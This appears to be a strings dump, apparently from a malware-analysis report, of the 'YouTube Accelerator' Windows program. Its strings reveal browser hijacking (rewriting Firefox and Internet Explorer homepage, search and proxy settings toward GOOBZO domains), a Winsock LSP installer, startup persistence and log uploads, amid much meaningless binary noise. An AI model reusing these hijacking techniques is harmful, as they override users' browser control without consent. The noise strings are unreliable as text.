.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zc�

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

YouTubeAccelerator.exe_1540:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zc�

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

